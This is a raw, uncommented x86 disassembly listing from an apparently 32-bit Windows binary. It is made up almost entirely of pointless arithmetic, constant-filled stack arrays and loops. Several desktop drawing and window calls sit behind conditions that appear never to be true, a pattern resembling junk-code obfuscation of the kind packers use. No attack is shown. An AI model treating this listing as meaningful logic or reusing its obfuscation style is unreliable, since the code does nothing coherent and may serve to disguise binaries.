xor eax, eax
mov dword [ebp - 0x310], 0xffffffeb
jmp 0x10034263
mov dword [ebp - 0x4c], 0x149febb6
cmp dword [ebp - 0x4c], eax
jne 0x1003426c
inc dword [ebp - 0x310]
cmp dword [ebp - 0x310], 8
jne 0x10034251
inc dword [ebp - 0x28]
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x44], 0x60f57a7c
mov dword [ebp - 0x54], 0xc3dc99cd
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x28], 0x1eb64d0
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x18], 0xfffffff7
mov dword [ebp - 0x3c], 0xfffffff6
mov dword [ebp - 0x4c], 0x579a
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x100342c2
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x3ec], 0x477862fd
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x100342aa
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x100342e4
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xe10], 5
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x100342cb
xor eax, eax
mov dword [ebp - 0x44], esi
cmp dword [ebp - 0x44], eax
jl 0x100344e1
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x1c], eax
jl 0x100343e0
mov dword [ebp - 0x38], 0x7f5ed9a9
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], esi
jg 0x100343d7
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x10034342
push 0x1ff1
push 0x1d14
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x3ec]
mov eax, dword [ebp - 0x1c]
add ecx, 8
mov dword [ebp + eax*4 - 0x3ec], ecx
mov dword [ebp - 0x54], ecx
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x30], eax
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x1003439b
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x28]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setg dl
xor ebx, ebx
cmp edx, 0xdbf4
setg bl
xor ecx, ecx
cmp ebx, eax
setge cl
imul eax, ecx, 0xac3a
cmp eax, esi
ja 0x10034399
mov ecx, esi
jmp 0x1003439d
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x28]
add eax, ecx
xor ecx, ecx
cmp eax, 0x27f3
push 0
setg cl
xor edx, edx
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x38]
cmp eax, ecx
pop eax
setge dl
mov dword [ebp - 0x54], edx
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], esi
jle 0x1003431b
dec dword [ebp - 0x1c]
jns 0x10034302
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x24]
jne 0x10034445
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x24], eax
jle 0x100343f9
mov eax, dword [ebp - 0x40]
xor eax, eax
xor edx, edx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xe10]
cmp eax, 0xfffffff6
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x30]
setge dl
imul ecx, edx
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x40]
setl dl
xor ebx, ebx
cmp edx, eax
setg bl
xor ecx, ecx
add ebx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x40]
cmp ebx, eax
setl cl
mov dword [ebp - 0x40], ecx
cmp dword [ebp - 0x40], 0xeb6
jl 0x10034442
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xe10]
mov eax, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x18]
sub edx, eax
mov eax, dword [ebp - 0x3ec]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
imul edx, eax
mov eax, dword [ebp - 0x24]
cmp edx, eax
setge cl
imul ecx, dword [ebp - 0x18]
imul ecx, dword [ebp - 0x30]
test ecx, ecx
je 0x10034557
mov dword [ebp - 0x4c], esi
mov ecx, 0xffffe0b6
push 0xfffffffffffffffa
pop eax
mov dword [ebp - 0xc88], eax
mov dword [ebp - 0xc84], eax
mov dword [ebp - 0xc80], eax
mov dword [ebp - 0xc7c], eax
mov eax, dword [ebp - 0x4c]
sub ecx, eax
mov eax, dword [ebp - 0x40]
add ecx, eax
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x3ec], ecx
xor eax, eax
mov dword [ebp - 0xc84], ecx
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x100344cf
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
or ecx, 0xffffffff
dec dword [ebp - 0x44]
push 0
pop eax
jns 0x100342f0
push 2
pop ebx
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x10
jl 0x100344fb
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x54], eax
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0x10
jge 0x100344ea
xor eax, eax
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x28], 0x7e6ef1f7
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x10034522
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x70], 0x5b57fd54
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1003450d
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], eax
jg 0x10034859
mov dword [ebp - 0x1c], ebx
xor edi, edi
mov dword [ebp - 0x38], 0x9f8c5172
mov dword [ebp - 0x48], 0xfffffffd
mov eax, dword [ebp - 0x30]
cmp dword [ebp + eax*4 - 0x70], edi
je 0x10034562
mov eax, dword [ebp - 0x30]
cmp dword [ebp + eax*4 - 0x70], edi
jne 0x10034562
mov eax, esi
jmp 0x10034564
or ecx, 0xffffffff
mov dword [ebp - 0x4c], ecx
jmp 0x100344d2
xor eax, eax
cmp eax, 0xfffffffc
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, ebx
mov eax, dword [ebp - 0x70]
setge cl
xor edx, edx
sub ecx, eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x70]
cmp eax, ecx
mov eax, dword [ebp - 0x30]
setl dl
sub edx, dword [ebp + eax*4 - 0x70]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
imul edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x70]
cmp eax, edx
setg cl
xor eax, eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jg 0x10034845
mov dword [ebp - 0x44], 0x8fb8
mov dword [ebp - 0x3c], 0xd8d92426
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x70]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x70]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
je 0x100345e7
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x70]
mov eax, dword [ebp - 0x30]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp + eax*4 - 0x70]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
setne dl
xor eax, eax
sub edx, dword [ebp - 0x3c]
cmp edx, 0xa81d
setl al
cmp eax, dword [ebp - 0x70]
je 0x1003461b
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1003461d
mov eax, esi
mov dword [ebp - 0x38], eax
xor ecx, ecx
mov eax, dword [ebp - 0x3c]
or ebx, 0xffffffff
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp + eax*4 - 0x70]
mov eax, dword [ebp - 0x70]
cmp eax, ebx
mov eax, dword [ebp - 0x44]
setl cl
sub edx, ecx
cmp esi, eax
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, edx
setl cl
xor eax, eax
sub ecx, dword [ebp - 0x3c]
cmp ecx, 0x6ba05392
jg 0x10034660
mov edx, esi
cmp dword [ebp - 0x3c], eax
jne 0x10034662
mov edx, eax
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp edx, eax
setne cl
imul ecx, dword [ebp - 0x44]
neg ecx
cmp ecx, dword [ebp - 0x30]
jle 0x100347ce
mov dword [ebp - 0x40], 0x890aaf75
mov dword [ebp - 0x28], 0xad5889e5
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x70]
sub ecx, eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x70], ecx
je 0x100346a8
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x100346aa
mov eax, esi
jmp 0x100346aa
xor eax, eax
mov dword [ebp - 0x3c], eax
xor edx, edx
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
mov eax, ebx
mov ecx, 0xec6b039b
setne dl
sub eax, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, edx
setne cl
xor eax, eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0x33
jg 0x10034834
push 0xfffffffffffffffa
pop edi
mov dword [ebp - 0x28], 0x2d7faeff
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x24], edi
push 5
pop eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x28], ebx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x18], esi
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x3c]
sub eax, 0xd1e
neg eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x40]
test eax, eax
je 0x100347b9
mov dword [ebp - 0x28], 0xaf6502fc
mov dword [ebp - 0x38], 0xd
jmp 0x10034771
mov dword [ebp - 0x4c], 0xfffffffd
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x28], eax
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x1003476e
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], edi
jne 0x10034750
mov dword [ebp - 0x3c], 0x7236
xor ecx, ecx
mov eax, dword [ebp - 0x3c]
cmp eax, 0x8a9b
setge cl
imul ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x100347a0
mov eax, dword [ebp - 0x44]
neg eax
sbb eax, eax
inc eax
inc eax
je 0x100347a0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x28], 0x2da2ea9
cmp dword [ebp - 0x28], 0x8c34f7c3
sbb eax, eax
inc eax
mov dword [ebp - 0x38], eax
jmp 0x100347bf
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x3c], eax
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0x33
jle 0x100346e8
jmp 0x10034832
mov dword [ebp - 0x54], esi
xor eax, eax
cmp dword [ebp - 0x54], eax
jne 0x100347ec
mov eax, dword [ebp - 0x44]
xor ecx, ecx
cmp eax, ebx
setl cl
xor eax, eax
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x28], eax
je 0x100347ee
mov eax, esi
add eax, 0x414c507b
jne 0x100347f8
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x38]
xor ebx, ebx
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x70]
cmp eax, 0xcfc2
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x44]
setg bl
xor edx, edx
neg ebx
cmp ecx, eax
setg dl
xor eax, eax
imul edx, dword [ebp - 0x54]
cmp ebx, edx
setg al
mov dword [ebp - 0x38], eax
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x100345b4
push 2
xor eax, eax
pop ebx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], eax
jle 0x1003452e
mov edi, dword [sym.imp.USER32.dll_SetWindowTextW]
xor eax, eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x28], 0x37e0d1b7
mov dword [ebp - 0x24], 0x3af7806a
mov dword [ebp - 0x28], 0x915bb00
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10034891
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x124], 0xfff6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10034879
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x100348b3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x4ac], 0xfffffff7
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1003489a
xor eax, eax
cmp dword [ebp - 0x124], eax
je 0x1003492c
mov dword [ebp - 0x38], 0x80bf
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x124]
mov eax, dword [ebp - 0x124]
mov eax, dword [ebp - 0x124]
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x124]
mov edx, dword [ebp - 0x124]
add eax, ecx
imul edx, eax
xor ecx, ecx
mov eax, dword [ebp - 0x124]
cmp edx, eax
sete cl
mov dword [ebp - 0x24], ecx
mov ecx, 0xffff
mov eax, dword [ebp - 0x24]
sub eax, ecx
je 0x1003491e
xor eax, eax
cmp dword [ebp - 0x124], eax
je 0x10034920
mov eax, esi
jmp 0x10034920
xor eax, eax
mov dword [ebp - 0x28], eax
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x28], eax
je 0x1003492e
mov edx, esi
mov eax, dword [ebp - 0x124]
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
mov dword [ebp - 0x4ac], ecx
test ecx, ecx
je 0x100349d5
mov dword [ebp - 0x28], 0x4be495ee
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x38], ebx
cmp dword [ebp - 0x38], eax
jl 0x10034a3a
mov dword [ebp - 0x4c], 0xfffffff6
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp + eax*4 - 0x4ac]
mov eax, dword [ebp - 0x124]
neg eax
sbb eax, eax
xor edx, edx
inc eax
cmp eax, ecx
mov eax, dword [ebp - 0x38]
setle dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x4ac]
cmp eax, edx
mov edx, 0xffff70db
setge cl
xor ebx, ebx
sub edx, ecx
sub edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x28]
cmp edx, eax
setne bl
xor ecx, ecx
add ebx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x54]
cmp ebx, eax
mov eax, dword [ebp - 0x38]
setle cl
xor edx, edx
cmp ecx, 0x87d30fa2
setne dl
mov dword [ebp + eax*4 - 0x4ac], edx
dec dword [ebp - 0x38]
jns 0x10034961
push 2
pop ebx
jmp 0x10034a38
mov dword [ebp - 0x28], 3
mov dword [ebp - 0x4c], 0x6d6ae4d7
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x24], eax
jmp 0x10034a03
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x10034a00
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
xor eax, eax
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffee
jg 0x100349eb
cmp dword [ebp - 0x4ac], eax
jne 0x10034a14
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
dec ecx
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0x3416
setge al
mov dword [ebp - 0x4c], eax
imul eax, dword [ebp - 0x4a4], 0x2e34
mov dword [ebp - 0x4c], eax
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10034a5a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x8a4], 0x997736ea
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10034a42
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10034a7a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xa14], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10034a62
xor eax, eax
mov dword [ebp - 0x54], 0xc755
mov dword [ebp - 0x28], 0xd19ac196
mov dword [ebp - 0x28], 0x9cc14173
mov dword [ebp - 0x4c], 0x8872fa4a
mov dword [ebp - 0x4c], 0xa733e34b
mov dword [ebp - 0x18], 0xa5f9c710
mov dword [ebp - 0x24], eax
jmp 0x10034aba
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x3f4], 0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x10034aa9
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x3f4]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x54]
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 4
jne 0x10034ae1
cmp dword [ebp - 0x54], eax
jne 0x10034ae3
mov esi, eax
inc dword [ebp - 0x18]
xor edx, edx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3f0]
cmp ecx, eax
mov eax, dword [ebp - 0x3f4]
setne dl
xor ebx, ebx
cmp edx, esi
setne bl
xor ecx, ecx
cmp ebx, eax
setl cl
xor esi, esi
mov dword [ebp - 0x3f0], ecx
inc esi
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x54], esi
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
imul eax, dword [ebp - 0x10]
imul eax, eax, 0xfffb
sub eax, dword [ebp - 0x34]
neg eax
sbb eax, eax
xor edx, edx
inc eax
imul ecx, eax, 0xffff
mov eax, dword [ebp - 0x10]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setl dl
xor ecx, ecx
cmp edx, 0x7d3709e8
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setne dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
mov dword [ebp - 0x8a0], ecx
mov dword [ebp - 0x30], 0x85c
mov dword [ebp - 0x24], 0xbefa025e
mov dword [ebp - 0x24], eax
jmp 0x10034ba7
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x818], 0xd0b6bd0d
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x10034b96
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp eax, 0x74bf90ed
setl cl
cmp ecx, 0x3250e6da
jg 0x10034bc5
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x10034c7d
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x10034bf9
push 2
mov dword [ebp - 0x28], 0x938f738f
mov dword [ebp - 0x24], eax
pop ebx
jmp 0x10034c9d
mov dword [ebp - 0x38], 0xfffffffc
mov dword [ebp - 0x10], 0xa7d2ae85
push 3
pop ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x40], 0xfffffffd
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10034d9f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x168], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10034d8b
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x10034dbf
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xab0], 0x28d5
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10034da7
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10034dd1
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xfe8], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10034dc4
mov dword [ebp - 0x38], 0x713e19f2
xor edx, edx
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0xaa8]
add ecx, eax
mov eax, dword [ebp - 0x168]
cmp ecx, eax
mov eax, dword [ebp - 0x164]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x168]
sete cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0xaa8]
sete dl
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x168]
cmp edx, esi
setg cl
imul eax, ecx
mov dword [ebp - 0xfe0], eax
cmp eax, dword [ebp - 0x168]
jne 0x10034e43
xor eax, eax
cmp dword [ebp - 0x168], eax
je 0x10034e45
mov ecx, esi
jmp 0x10034e47
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x168]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0xaa8]
setne dl
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x168]
neg ecx
sbb ecx, ecx
xor edx, edx
add ecx, 0x50c9
cmp eax, ecx
mov eax, dword [ebp - 0x168]
setl dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x24], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x168]
cmp eax, 0x9ab8
setg cl
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x38], 0xc
cmp dword [ebp - 0x38], 0xb
jl 0x10034f49
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10034ed7
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xd54], 0xfffffffb
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10034ebf
xor eax, eax
mov dword [ebp - 0x40], 0xfffffff5
jmp 0x10034f37
mov dword [ebp - 0x24], 0xffffffef
jmp 0x10034f2e
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10034f09
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xe64], 0xf75df156
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10034ef1
xor eax, eax
mov dword [ebp - 0xd50], 0xfffffffb
mov dword [ebp - 0x10], eax
jmp 0x10034f25
mov dword [ebp - 0x28], 0x398e
dec dword [ebp - 0x28]
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 9
jl 0x10034f18
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffffe
jg 0x10034ee9
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], ebx
jne 0x10034ee0
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xb
jge 0x10034eb7
push 4
pop eax
mov dword [ebp - 0x40], eax
mov ebx, 0x72d9ee1c
mov dword [ebp - 0x44], 0xc2285faa
xor eax, eax
mov dword [ebp - 0x8c], ebx
mov dword [ebp - 0x88], ebx
mov dword [ebp - 0x84], ebx
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x10], 0xcb972524
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x10034f99
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x1d0], 0x648261f
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x10034f81
xor eax, eax
mov dword [ebp - 0x40], eax
or ecx, 0xffffffff
cmp dword [ebp - 0x40], eax
jl 0x10034fff
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jge 0x10034fc5
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x10bc], esi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x10034fb0
xor eax, eax
mov dword [ebp - 0x38], eax
jmp 0x10034ff5
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x10034fef
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x129c], 0x9310c13f
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x10034fd6
xor eax, eax
inc dword [ebp - 0x10]
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], eax
jle 0x10034fca
dec dword [ebp - 0x40]
jns 0x10034fa4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
je 0x1003510c
push 0xfffffffffffffff9
pop ebx
jmp 0x10035012
xor eax, eax
mov dword [ebp - 0x20], 0xcb6a
mov dword [ebp - 0x2c], 0x20c256fa
cmp dword [ebp - 0x1d0], eax
je 0x1003502a
mov eax, esi
xor edx, edx
cmp eax, 0x7fefb659
mov eax, dword [ebp - 0x44]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
imul ecx, dword [ebp - 0x20]
test ecx, ecx
je 0x1003504c
mov eax, dword [ebp - 0x1d0]
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x10]
test eax, eax
sets cl
xor eax, eax
cmp ecx, ebx
jbe 0x10035067
cmp dword [ebp - 0x40], eax
je 0x10035071
mov ecx, esi
cmp dword [ebp - 0x1d0], eax
jne 0x10035073
mov ecx, eax
mov eax, dword [ebp - 0x20]
xor edx, edx
sub ecx, eax
mov eax, dword [ebp - 0x20]
dec ecx
cmp ecx, eax
setl dl
xor ecx, ecx
add edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp eax, edx
setne cl
xor eax, eax
cmp ecx, 9
setl al
or ecx, 0xffffffff
cmp ecx, eax
sbb eax, eax
inc eax
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jl 0x100350fb
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], eax
jl 0x100350f3
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x100350ee
push eax
push 0x7a2
push eax
push eax
push 0x1864
push 0x1176
push 0x26f6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtTextOutA]
xor eax, eax
dec dword [ebp - 0x44]
jns 0x100350b8
dec dword [ebp - 0x20]
jns 0x100350b0
or ecx, 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jne 0x10035010
mov ebx, 0x72d9ee1c
mov dword [ebp - 0x10], 0xc68ec0ae
mov eax, 0xd145
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x10], 0x19
cmp dword [ebp - 0x10], 0xfffffff7
jne 0x10035247
jmp 0x10035131
or ecx, 0xffffffff
mov dword [ebp - 0x20], esi
xor edx, edx
mov dword [ebp - 0x1c], 0x6c74aa0d
mov dword [ebp - 0xba8], eax
mov dword [ebp - 0xba4], eax
mov dword [ebp - 0xba0], eax
mov dword [ebp - 0xb9c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xba0]
mov dword [ebp - 0x20], ecx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setne dl
xor ecx, ecx
cmp edx, esi
setl cl
sub eax, ecx
je 0x10035207
mov dword [ebp - 0x1c], 3
xor eax, eax
cmp dword [ebp - 0x1c], eax
jl 0x100351ba
or ecx, 0xffffffff
mov dword [ebp - 0x2c], ecx
